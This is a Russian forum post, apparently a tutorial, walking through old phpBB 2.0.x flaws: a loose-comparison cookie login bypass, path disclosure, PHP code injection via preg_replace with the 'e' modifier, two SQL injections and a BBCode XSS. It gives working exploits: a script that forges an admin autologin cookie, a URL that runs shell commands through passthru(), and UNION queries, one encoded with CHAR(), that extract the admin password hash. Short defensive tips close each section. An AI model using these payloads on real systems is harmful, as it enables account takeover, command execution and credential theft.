Что с компьютерами

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Что с компьютерами » XSS Уязвимости » XSS, SQL-inj, PHP-inj и др. на примере phpBB


XSS, SQL-inj, PHP-inj и др. на примере phpBB

Сообщений 1 страница 2 из 2

1

Использование оператора равно вместо оператора идентично
Пояснение
В php есть два оператора для сравнения выражений: "==" и "===". Разница между ними в том, что при несоответсвии типов выражений, первый оператор попытается привести выражения к одному типу, а второй - выдаст false. Таким образом код
PHP код:
$password='pass';
if ($password==true) echo "Password is right!";

Подтвердит "правильность" пароля, так как непустая строка "верна".
Где это
Уязвимость работала до 12-й версии включительно
Уязвимость содержалась в файле-библиотеке includes/sessions.php, отвечающей за работу с куками.
Суть проблемы
Функция session_begin в файле includes/sessions.php обрабатывает куки и в зависимости от того, что там лежит, либо логинит, либо - нет. Пару слов о куках. PhpBB использует две куки: "phpbb2mysql_sid" и "phpbb2mysql_data". Первая - это банальный идентификатор сессии, но который разработчики phpBB реализовали самостоятельно, без использования встроенного в php механизма сессий. Выглядит она примерно так: "66cb582584cadd70256a8e19f419501e". Вторая - более интересная. Выглядит она как-то так (после url-дешифровки): "a:2:{s:11:"autologinid";s:32:"81de428d6016cc0a8cc15e6b415b6bd9";s:6:"userid";s:1:"3";}". Те, кто делал на php что-либо более-менее серьёзное, сразу скажут, что это - сериализованный одномерный двухэлементный массив. Для остальных - поясню. В php есть очень удобный механизм "замораживания" объекта. Имя этому механизму - serialize. Функция serialize(mixed) возвращает строку, содержащую все данные об оьъекте. Функция unserialize(string) - обратная к serialize, по сгенерированной строке возвращает объект в его сохранённом виде.
Но вернёмся к phpBB. Строка a:2:{s:11:"autologinid";s:32:"81de428d6016cc0a8cc15e6b415b6bd9";s:6:"userid";s:1:"3";} означает:
-->массив от 2-х элементов
----->индекс первого элемента - строка из 11 символов: "autologinid"
------->ключ первого элемента - строка из 32 символов: "81de428d6016cc0a8cc15e6b415b6bd9"
----->индекс второго элемента - строка из 6 символов: "userid"
------->ключ второго элемента - строка из 1 символа: "3"
Что такое userid, думаю, объяснять излишне. В autologinid храниться хэш пользователя. Впрочем, если юзер не попросил его запомнить, то эта строка будет пуста и в куках будет нечто такое: "a:2:{s:11:"autologinid";s:0:"";s:6:"userid";s:1:"2";}". Полученный массив присваивается переменной $sessiondata (строка 40). Далее, если есть autologinid и вообще "всё хорошо", то происходит сравнение хэша, переданного в куках с настоящим хэшом:
PHP код:
$auto_login_key = $userdata['user_password'];
/* здесь ещё пара малозначительных проверок */
if( $sessiondata['autologinid'] == $auto_login_key )
{
   $login = 1;
   // переменная $login детерминирует залогиненость юзера. если $login=1, то юзер - зашёл
   $enable_autologin = 1;
}

В этом, казалось бы, безбажном коде, копается всё же один вышеописанный тараканчик - если в $sessiondata['autologinid'] вставить true, то при всех $userdata['user_password'] (и соответсвенно при всех $userdata['userid']) равенство верно. Как задать $sessiondata['autologinid']=true? Просто! Следующий скрипт генирирует искомую куку:
PHP код:
$id=2; // сюда ставим id юзера, под которым хотим зайти; 2 - id админа по умолчанию
$userdata=Array('autologinid'=>true, 'userid'=>$id);
echo "Serialize: ".serialize($userdata)."<br>";
echo "Encoded serialize: ".rawurlencode(serialize($userdata));

В последней строке получаем извесный "эксплоит" под phpBB.
Как не вляпаться
Конечно, чтобы не сделать такую ошибку, надо каждый раз, когда пишете '==' отдавать себе отчёт о том, что вы делаете. Впрочем, поскольку это место тонкое и постоянно помнить про него сложно, то лучше вначале вручную свести переменные к нужным типам с помощью strval(), intval() итд.

Плохая фильтрация переменной, передаваемой в preg_replace с модификатором "e"
Пояснение
Как известно, если вызвать функцию preg_replace ($pattern, $replacement, $subject) с модификатором "e", то replacement перед подстановкой компилируется.
В этом месте было несколько ошибок
Раскрытие пути
Где это
Уязвимость работала до 12-й версии включительно
Уязвимость содержалась в файле viewtopic.php, отвечающем за вывод топиков на экран.
Суть проблемы
В phpBB, как и в любом нормальном форуме, есть работающий поиск. Более того, для удобства этого самого поиска найденные слова подсвечиваются с помощью preg_replace(), находящей искомые слова. Но хватит слов - подойдём ближе к телу, тьфу-ты, к коду!
PHP код:
if (isset($HTTP_GET_VARS['highlight']))
{
    // слова, разделённые пробелом, помещаются в массив $words и фильтруются
    $words = explode(' ', trim(htmlspecialchars($HTTP_GET_VARS['highlight'])));
    // после чего складываюся в переменную $highlight_match, разделяемые символом "|"
    for($i = 0; $i < sizeof($words); $i++)
    {
        if (trim($words[$i]) != '')
        {
            $highlight_match .= (($highlight_match != '') ? '|' : '') . str_replace('*', '\w*', phpbb_preg_quote($words[$i], '#'));
        }
    }
    unset($words);
    $highlight_match = phpbb_rtrim($highlight_match, "\\");
}
/*  некоторый невлияющий код */
if ($highlight_match)
{
    // если существует непустой $highlight_match, то делаем выделение
    $message = str_replace('\"', '"', substr(
            preg_replace(
                '#(\>(((?>([^><]+|(?R)))*)\<))#se',
                "preg_replace(
                    '#\b(" . $highlight_match . ")\b#i',
                    '<span style=\"color:#" . $theme['fontcolor3'] . "\"><b>\\\\1</b></span>',
                    '\\0'
                )",
                '>' . $message . '<'
            ),
        1, -1)
    );
}

Строка с искомыми словами содержится в переменной highlight и передаётся в viewtopic.php методом GET. Там она разбивается, перетряхивается в всевозможных решетах, наконец, снова собирается в форме, пригодной для использования в регулярном выражении. Несложно видеть, что функция preg_replace - аж две! Первая находит всё, что не является тэгами, и подставляет это во второе. После подстановки, так как задан модификатор "e", она компилирует, можно сказать, eval'ирует полученное второе выражение. Однако есть одно но, о котором большая часть читателей знает, а другая - догадывается: если набить произвольный текст в блокнот и подсунуть это компилятору, то он вас пошлёт туда ... "где за тучей белеет гора". Хотя - вру! Он укажет путь, причём абсолютный (chroot - не всчёт). Из-за фильтров произвольный текст в $highlight_match набить не удастся, но "нарваться на грубость" - получится. Нампример, так: "\7". После фильров, это преобразуется в "\\\\7". Это было бы просто два экраннированных слэша, если бы дело не происходило внутри preg_replace. Для него это - заэкраннированный слэш, за которым следует седьмое совпадение, что невозможно. Получаем ошибки и искомый путь.
Эксплоит выглядит как-то так: hxxp://phpbb_2_0_12.phpbb/viewtopic.php?t=1&highlight=\7
Внедряем PHP(PHP-injection)
Где это
Уязвимость работала до 15-й версии включительно
Уязвимость содержалась в файле viewtopic.php, отвечающем за вывод топиков на экран.
Суть проблемы
Всё-таки шанс - удивительный! Мы можем выполнить почти произвольный код! Теперь подробнее поговорим об этом почти, то есть о фильтрах. Для начала, обновлённый код:
PHP код:
if (isset($HTTP_GET_VARS['highlight']))
{
    // слова, разделённые пробелом, помещаются в массив $words и фильтруются
    $words = explode(' ', trim(htmlspecialchars($HTTP_GET_VARS['highlight'])));
    // после чего складываюся в переменную $highlight_match, разделяемые символом "|"
    for($i = 0; $i < sizeof($words); $i++)
    {
        if (trim($words[$i]) != '')
        {
            $highlight_match .= (($highlight_match != '') ? '|' : '') . str_replace('*', '\w*', phpbb_preg_quote($words[$i], '#'));
        }
    }
    unset($words);
    $highlight_match = phpbb_rtrim($highlight_match, "\\");
}
/*  некоторый невлияющий код */
if ($highlight_match)
{
    $message = str_replace('\"', '"', substr(
            @preg_replace(
                '#(\>(((?>([^><]+|(?R)))*)\<))#se',
                "@preg_replace(
                    '#\b(" . str_replace('\\', '\\\\', $highlight_match) . ")\b#i',
                    '<span style=\"color:#" . $theme['fontcolor3'] . "\"><b>\\\\1</b></span>',
                    '\\0'
                )",
                '>' . $message . '<'),
         1, -1));
}

Как видите, отличий немного - это "собака" перед preg_replace'ами и замена всех экраннированых слэшей на парно экраннированные. Первое убирает вывод ошибок (и раскрытие пути). Необходимость второго обусловленна тем, что при "компиляции" внутри preg_replace двойные слэши переходят в одинарные. Не суть! Судьбу $highlight_match в основном решают две функции - htmlspecialchars и phpbb_preg_quote. Действие первой - понятно, вторая аналогична preg_quote плюс она экранирует символ #, чтобы мы не могли выйти за пределы регулярного выражения. Таким образом, единственное, что нам необходимо для счастья - чтобы компилятор не обращал внимание на дополнительные слэши, о чём речь дальше.
Давайте поговорим о дряни (©), которая, впрочем, не мешает выполнению скрипта.
Код:

phpinfo();

Этот код, очевидно, корректен.
Код:

phpinfo\\();

Этот код не очень корректен, матерится, но выполняется.
Код:

\\\\phpinfo\\\\\(\\\\)\\\\;

Аналогично.
Но, что самое удивительное, выполняется (ругаясь, конечно) следующий код:
Код:

$xxx='var name test'; echo \\\\"aaaa"\.\\$xxx.phpinfo\\(\\)\.\\"aaaa";

То есть компилятор закрывает глаза на одинарные и двойные слэши после закрытия кавычки и до оператора конкатенации.
Код:

echo $_GET[aaa];

Если GET'ом передать значаении переменной 'aaa', то компилятор скажет, конечно, что константа 'aaa' - не определена, но выведет её значение.
Этого нам достаточно.

Как видим, "дрянь" не мешает выполнению кода, хотя и выводит неприличные надписи. Впрочем, разработчики phpBB услужливо для такого дела добавили "@"!
Приступим!
Фрагмент кода, в котором будет выпоняться наш код: '#\b(" . str_replace('\\', '\\\\', $highlight_match) . ")\b#i'. Нам надо выйти за пределы параметра, ограниченного одинарными апострафами ('), добавить оператор конкатенации для облюдения "приличий" языка, после чего добавить любый команду, выводящую что-либо на экран.
Пробуем:
GET: hxxp://phpbb_2_0_15.phpbb/viewtopic.php?t=1&highlight='.phpinfo().'
После _всех_ фильтров в регулярное выражение подставится строка: "\\\\'\\.phpinfo\\(\\)\\.\\\\'"
Как вы могли видеть из разговора о дряни, многочисленные слэши никак не помешают выполнению phpinfo(). А так как вывод ошибок для preg_replace запрещён, то и никаких ошибок не будет выведенно.
Что делать далее - очевидно: подставить вместо phpinfo() - passthru(). (Лучше использовать именно passthru(), а не system() или exec(), так как она печатает _весь_ результат выполнения команды.) Так как пробелы в highlight передать не получится, то лучше сам набо команд передавать в другой переменной методом GET, и подставлять её в passthru();
Примерный эксплоит (команду задавать в com): hxxp://phpbb_2_0_15.phpbb/viewtopic.php?t=1&com=echo coommand_here&highlight='.passthru($_GET[com]).'
Напоследок отмечу, что такая же уязвимость была найдена в версии 10! Разница была _только_ в том, что в 10-й версии переменная $HTTP_GET_VARS['highlight'] проходила через urldecode, и соотвественно взломщику приходилось всё, наоборот, кодироватьть в url (urlencode). В 11-й версии urldecode убрали, и сплоит перестал работать, но уязвимость-то осталась!!! Самое удивительное, что этого не замечали (а скорее, не говорили вслух) аж до версии 15!
Как не вляпаться
Во-первых, не недо использовать модификатор 'e'. Если же без него никак, то надо иметь _очень_ прямые руки, голову (лучше две) на плечах и много, много, много тестировать!

Недостаточное усмирение register_globals On(SQL-injection)
Пояснение
При установленном флаге register_globals все переменные окружения доступны не только через суперглобальные массивы, но и напрямую. Это создаёт некоторые дополнительные проблемы для программиста. Например, следующий код:
PHP код:
$pass=$_GET['pass'];
if ($pass==='dfY4gFCxjdf') $log_in=1;
if ($log_in==1) echo "Password is right. You are logged in!";

Выведет заветную фразу не только при зпросе ?pass=dfY4gFCxjdf, но и при запросе ?pass=i_don't_now_the_password_but&log_in=1
Где это
Уязвимость работала до 5-й версии включительно
Уязвимость содержалась в файле viewtopic.php, отвечающем за вывод топиков на экран.
Суть проблемы
Поскольку главная задача скрипта viewtopic.php - вывод топиков, то но должен получать и обрабатывать номер топика. Делает он это так:
PHP код:
if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
{
    $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
}
else if ( isset($HTTP_GET_VARS['topic']) )
{
    $topic_id = intval($HTTP_GET_VARS['topic']);
}

Значение $topic_id берётся из переменных окружения, прешедших методом GET - из "topic" или "t" (t - это значение константы POST_TOPIC_URL по умолчанию). Заметьте, что если оба if'а не выполнены, то $topic_id - не определён... Мы это исправим!
Далее идёт малозначащий код. После этого форум проверяет, задано ли view == 'newest'. Если да, то выводятся новые сообщения. Код (для лучшего восприятия кода я подставил значение констант по умолчанию):
PHP код:
if ( isset($HTTP_GET_VARS['view']) && empty($HTTP_GET_VARS['p']) )
{
    if ( $HTTP_GET_VARS['view'] == 'newest' )
    {
        if ( isset($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_sid']) || isset($HTTP_GET_VARS['sid']) )
        {
            $session_id = isset($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_sid']) ? $HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_sid'] : $HTTP_GET_VARS['sid'];

            if ( $session_id )
            {
                $sql = "SELECT p.post_id
                    FROM  phpbb_posts  p, phpbb_sessions s,  phpbb_users u
                    WHERE s.session_id = '$session_id'
                        AND u.user_id = s.session_user_id
                        AND p.topic_id = $topic_id
                        AND p.post_time >= u.user_lastvisit
                    ORDER BY p.post_time ASC
                    LIMIT 1";
            // выполнение запроса и обработка его результатов

Как видите, в этом каскаде if'ов не проверки, установлен ли $topic_id! После чего эта незаданная, а значит и непроверенная переменная напрямую попадает в sql-запрос! Проверяем: hxxp://phpbb_2_0_5.phpbb/viewtopic.php?view=newest&p=&topic_id=1'. Ругается, ура!
Несколько замечаний:
1)Чтобы вытянуть что-нибудь полезное из базы, будем использовать UNION.
2)Поскольку из базы используется ровно одна строка (из-за LIMIT 1), и возиться с концом запроса неохота, то topic_id будет иметь вид 1 AND 17=19 UNION SELECT что-то /* комментарием отбиваем конец исходного. Конечно, вместо 1 надо вставить существующий топик.
3)Посколько из базы достаётся только одно поле p.post_id (Номер последнего непрочитанного сообщения), то и у нас не получится вытащить более одного поля. Будет вытаскивать хэш админа, а если более точно, то "phpbb_users.user_password FROM phpbb_users WHERE phpbb_users.user_id=2"
Объединяя всё сказанное получим: "1 AND 17=19 UNION SELECT phpbb_users.user_password FROM phpbb_users WHERE phpbb_users.user_id=2 /*".
Так получаем эксплоит: hxxp://phpbb_2_0_5.phpbb/viewtopic.php?view=newest&p=&topic_id=1 AND 17=19 UNION SELECT phpbb_users.user_password FROM phpbb_users WHERE phpbb_users.user_id=2 /*
Искомый хэш придёт вместе с заголовком Location: -- 1232f297a57a5a743894a0e4a801fc3. Полагаю, выделить отсюда хэш - несложно
Как не вляпаться
Лично я обычно выключаю register_globals через .htaccess (для этого надо добавить строку: "php_flag register_globals off"), так как необходимость в них отсутствует, а написать $_GET['var'] вместо $var мне проще, чем заниматься геморром с отлавливанием попыток что-то подменить (какой же геморр? - посмотрите на досуге файл "common.php" в phpBB2).

Продолжение в следующем посте

0

2

Скорее всего - просто ляп(SQL-injection)
Пояснение
Большинство функций в php не изменяют самих переменных переданных им. (Строго говоря, они просто не могут этого сделать, так как переменные по умолчанию передаются по значению, а не по ссылке...). Но многие прогаммисты по невнимательности или из-зи безграммотности пишут:
PHP код:
$str='bik';
str_replace('k', 'g', $str);
$num='4 b';
intval($num);
if ($str==='big' && $num===4) echo "All right!";

И удивляются пустому экрану...
Где это
Уязвимость работала до 5-й версии включительно (в 6-й версии была оперативно закрыта)
Уязвимость содержалась в файле searc.php, отвечающем за всевозможный поиск.
Суть проблемы
Уязвимая переменная - $search_id. В ней хранится либо режим поиска, либо идентификатор поискового запроса (для ускорния работы результаты поиска загоняются в массив, сериализуются и сохраняются в БД). Инетересный для нас случай - последний:
PHP код:
if ( intval($search_id) )
{
    $sql = "SELECT search_array
        FROM " . SEARCH_TABLE . "
        WHERE search_id = $search_id 
            AND session_id = '". $userdata['session_id'] . "'";
    // рассериализация, вывод результатов поиска

Здесь мы видим очевидный ляп в первой строке. Скорее всего, здесь должно стоять что-то типа:
PHP код:
$search_id=intval($search_id);
if ( $search_id )

Чтобы пройти проверку if ( intval($search_id) ) достаточно, чтобы $search_id начинался с отличной от нуля цифры. После запроса данные рассериализуются и далее не проверяются. Реализовать SQL-injection в данном случае чуть сложнее технически (хэш мы можем получить только в следующем запросе), но вполне реально. Впрочем, я лучше покажу - новичкам будет интересно. Те, кто уже достаточно владеет техникой MySQL-inj предлагаю самим пройти этот левел . Чтобы не тратит время на всякую фигню, скажу, что в таблицах `phpbb_posts` и `phpbb_topics` по 13 полей, phpbb_search_results.search_array выглядит как-то так:
Код:

a:7:{s:14:"search_results";s:1:"3";s:17:"total_match_count";i:1;s:12:"split_search";a:1:{i:0;s:7:"example";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:5:"posts";s:12:"return_chars";i:200;}

. Необходимый кусок кода:
PHP код:
// в $store_vars хранятся названия переменных, которые будут иницилизированны по ходу
$store_vars = array('search_results', 'total_match_count', 'split_search', 'sort_by', 'sort_dir', 'show_results', 'return_chars');

// <вырезано>

// знакомый кусок
if ( intval($search_id) )
{
    $sql = "SELECT search_array
        FROM phpbb_search_results
        WHERE search_id = $search_id 
            AND session_id = '". $userdata['session_id'] . "'";
    if ( !($result = $db->sql_query($sql)) )
    {
        message_die(GENERAL_ERROR, 'Could not obtain search results', '', __LINE__, __FILE__, $sql);
    }

    if ( $row = $db->sql_fetchrow($result) )
    {
        $search_data = unserialize($row['search_array']);
        for($i = 0; $i < count($store_vars); $i++)
        {
            $$store_vars[$i] = $search_data[$store_vars[$i]];
        }
    }
}

if ( $search_results != '' )
{
    if ( $show_results == 'posts' )
    {
        $sql = "SELECT pt.post_text, pt.bbcode_uid, pt.post_subject, p.*, f.forum_id, f.forum_name, t.*, u.username, u.user_id, u.user_sig, u.user_sig_bbcode_uid 
            FROM phpbb_forums f, phpbb_topics t, phpbb_users u, phpbb_posts p, phpbb_posts_text pt
            WHERE p.post_id IN ($search_results)
                AND pt.post_id = p.post_id
                AND f.forum_id = p.forum_id
                AND p.topic_id = t.topic_id
                AND p.poster_id = u.user_id";
        // далее следует собственно сама печать на экран

Рассказываю решение этого квеста. Будем идти снизу вверх:
1) Единственная переменная, на которую мы вляем - это $search_results. Нам необходимо закрыть скобку (оставив что-то внутри неё), и желательно сделать так, чтобы этот запрос не дал ничего. После этого UNION и комментарий в конце: "20) AND 2=1 UNION SELECT что-то ещё /*".
2) Последний запрос выдаёт 1+1+1+13+1+1+13+1+1+1+1=35 полей. Первое выдаваемое поле идёт в pt.post_text, то есть в текст сообщения - туда-то и положим хэш. В остальные поля положим "a":
Код:

20) AND 2=1 UNION SELECT phpbb_users.user_password,"a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a" FROM phpbb_users WHERE phpbb_users.user_id=2 /*

3)Идём выше. Пришло время разобраться в том, что же хранится в сериализованной строке phpbb_search_results.search_array. Если рассериализовать строку, которую я давал выше, то получится:
Код:

Array ( [search_results] => 3 [total_match_count] => 1 [split_search] => Array ( [0] => example ) [sort_by] => 0 [sort_dir] => DESC [show_results] => posts [return_chars] => 200 )

Теперь видно откуда берётся перменная $search_results - она содержится в зариализованной массиве. Как же её изменить? Проще всего - скриптом:
PHP код:
$str='a:7:{s:14:"search_results";s:1:"3";s:17:"total_match_count";i:1;s:12:"split_search";a:1:{i:0;s:7:"example";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:5:"posts";s:12:"return_chars";i:200;}';
$ar=unserialize($str);
$ar['search_results']='20) AND 2=1 UNION SELECT  phpbb_users.user_password,"a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a" FROM phpbb_users WHERE phpbb_users.user_id=2 /*';
echo serialize($ar);

Получаем такого монстрика:
Код:

a:7:{s:14:"search_results";s:235:"20) AND 2=1 UNION SELECT phpbb_users.user_password,"a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a" FROM phpbb_users WHERE phpbb_users.user_id=2 /*";s:17:"total_match_count";i:1;s:12:"split_search";a:1:{i:0;s:7:"example";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:5:"posts";s:12:"return_chars";i:200;}

4) Осталось впизнуть нашу строку вместо настоящей. Это делается проще простого: в $search_id вставляем какое-то число (чтобы if прошёл) и пересекаем с каким-либо неверным условие (AND 1=2); далее делаем UNION SELECT и вставляем нвшу строку; напоследок - закомментируем конец строки. Получили
Код:

11 AND 2=1 UNION SELECT 'a:7:{s:14:"search_results";s:235:"20) AND 2=1 UNION SELECT phpbb_users.user_password,"a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a" FROM phpbb_users WHERE phpbb_users.user_id=2 /*";s:17:"total_match_count";i:1;s:12:"split_search";a:1:{i:0;s:7:"example";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:5:"posts";s:12:"return_chars";i:200;}' /*

.
5) Что - не работает? Конечно! В phpBB встроенно обязательное закавычивание всех переменных окружения. Это почти "магические кавычки", но реализовано вручную. Поэтому если мы просто пошлём получившуюся строчечку GET'ом, то нарвёмся на облом. Но выход есть! Как, наверное, многим известно, в MySQL есть замечательная функция char(a1,a2,...), возвращающая строку, состоящую из символов, ascii-коды которых - a1, a2 итд соответственно. Зашифруем с помощью неё все, что идёт после SELECT и до комментария. Поможет нам в этом деле маленький скриптик:
PHP код:
$str=@$_GET['str'];
$new_str='CHAR (';
for ($i=0; $i<strlen($str); $i++)
    $new_str.=($i==0) ? ord($str{$i}) : ','.ord($str{$i});
$new_str.=')';
echo $new_str;

Он шифрует строку, переданную GET'ом в переменной str. Получаем:
Код:

11 AND 2=1 UNION SELECT CHAR (97,58,55,58,123,115,58,49,52,58,34,115,101,97,114 ,99,104,95,114,101,115,117,108,116,115,34,59,115,5 8,50,51,53,58,34,50,48,41,32,65,78,68,32,50,61,49, 32,85,78,73,79,78,32,83,69,76,69,67,84,32,32,112,1 04,112,98,98,95,117,115,101,114,115,46,117,115,101 ,114,95,112,97,115,115,119,111,114,100,44,34,97,34 ,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,4 4,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44, 34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34 ,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,9 7,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97, 34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34 ,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,4 4,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,32, 70,82,79,77,32,112,104,112,98,98,95,117,115,101,11 4,115,32,87,72,69,82,69,32,112,104,112,98,98,95,11 7,115,101,114,115,46,117,115,101,114,95,105,100,61 ,50,32,47,42,34,59,115,58,49,55,58,34,116,111,116, 97,108,95,109,97,116,99,104,95,99,111,117,110,116, 34,59,105,58,49,59,115,58,49,50,58,34,115,112,108, 105,116,95,115,101,97,114,99,104,34,59,97,58,49,58 ,123,105,58,48,59,115,58,55,58,34,101,120,97,109,1 12,108,101,34,59,125,115,58,55,58,34,115,111,114,1 16,95,98,121,34,59,105,58,48,59,115,58,56,58,34,11 5,111,114,116,95,100,105,114,34,59,115,58,52,58,34 ,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111, 119,95,114,101,115,117,108,116,115,34,59,115,58,53 ,58,34,112,111,115,116,115,34,59,115,58,49,50,58,3 4,114,101,116,117,114,110,95,99,104,97,114,115,34, 59,105,58,50,48,48,59,125) /*

Вот и всё! Эксплоит:
Код:

-- AND 2=1 UNION SELECT CHAR (97,58,55,58,123,115,58,49,52,58,34,115,101,97,114 ,99,104,95,114,101,115,117,108,116,115,34,59,115,5 8,50,51,53,58,34,50,48,41,32,65,78,68,32,50,61,49, 32,85,78,73,79,78,32,83,69,76,69,67,84,32,32,112,1 04,112,98,98,95,117,115,101,114,115,46,117,115,101 ,114,95,112,97,115,115,119,111,114,100,44,34,97,34 ,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,4 4,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44, 34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34 ,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,9 7,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97, 34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34 ,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,4 4,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,32, 70,82,79,77,32,112,104,112,98,98,95,117,115,101,11 4,115,32,87,72,69,82,69,32,112,104,112,98,98,95,11 7,115,101,114,115,46,117,115,101,114,95,105,100,61 ,50,32,47,42,34,59,115,58,49,55,58,34,116,111,116, 97,108,95,109,97,116,99,104,95,99,111,117,110,116, 34,59,105,58,49,59,115,58,49,50,58,34,115,112,108, 105,116,95,115,101,97,114,99,104,34,59,97,58,49,58 ,123,105,58,48,59,115,58,55,58,34,101,120,97,109,1 12,108,101,34,59,125,115,58,55,58,34,115,111,114,1 16,95,98,121,34,59,105,58,48,59,115,58,56,58,34,11 5,111,114,116,95,100,105,114,34,59,115,58,52,58,34 ,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111, 119,95,114,101,115,117,108,116,115,34,59,115,58,53 ,58,34,112,111,115,116,115,34,59,115,58,49,50,58,3 4,114,101,116,117,114,110,95,99,104,97,114,115,34, 59,105,58,50,48,48,59,125) /*

Как не вляпаться
Не делать ляпов!!!

Плохая обработка BB-тэгов(Cross Site Scripting)
Пояснение
BB-тэги - они и в Африке BB-тэги, а CSS - оно иногда бывает XSS. Что ещё скать?
Где это
Последняя XSS из-за плохой обработки BB-тэгов была 18-й версии
Уязвимость содержалась в файле-библиотеке includes/bbcode.php, отвечающей за обработку BB-тэгов.
Суть проблемы
Уязвимости такого класса искать легче всего, так как обработчик тэгов всегда сидит в одном файле и просмотрев его можно точно сказать, есть уязвимость или нет. Обработчик в phpBB сидит в файле includes/bbcode.php. В данном случае обработчик не только не запрещал, но и установливал '[' и ']' разрешёнными символами:
Код:

$patterns[] = "#\[url\]([\w]+?://[\w\#$%&~/.\-;:=,?@\[\]+]*?)\[/url\]#is";

Выводить сплоит я не буду, хотя бы потому, что есть, например, в статье (link) NaX[no]rta.
Как не вляпаться
Требования:
1) Обязательно ограничивать агрументы тэгов кавычками и фильтровать кавычки, открывающиеся и закрывающиеся угловые и квадратные скобки внутри них.
2) Требовать, чтобы все ссылки (в тэгах img и url) начинались с указания протокола.
3) Использовать <font color=""> вместо <span style="color:"> итд
Это необходимые и достаточные требования для полной защиты от таких атак.

Послесловие.
Надеюсь вам понравилось! Планирую сделать продолжение - про IPB, если время будет и если кто-нибудь не сделает до меня. Хотя вряд ли найдётся маньяк, готовый по эксплоитам искать ошибку и занова строить сплоит .
Баги ждут вас! Дерзайте!

0


Вы здесь » Что с компьютерами » XSS Уязвимости » XSS, SQL-inj, PHP-inj и др. на примере phpBB


Рейтинг форумов | Создать форум бесплатно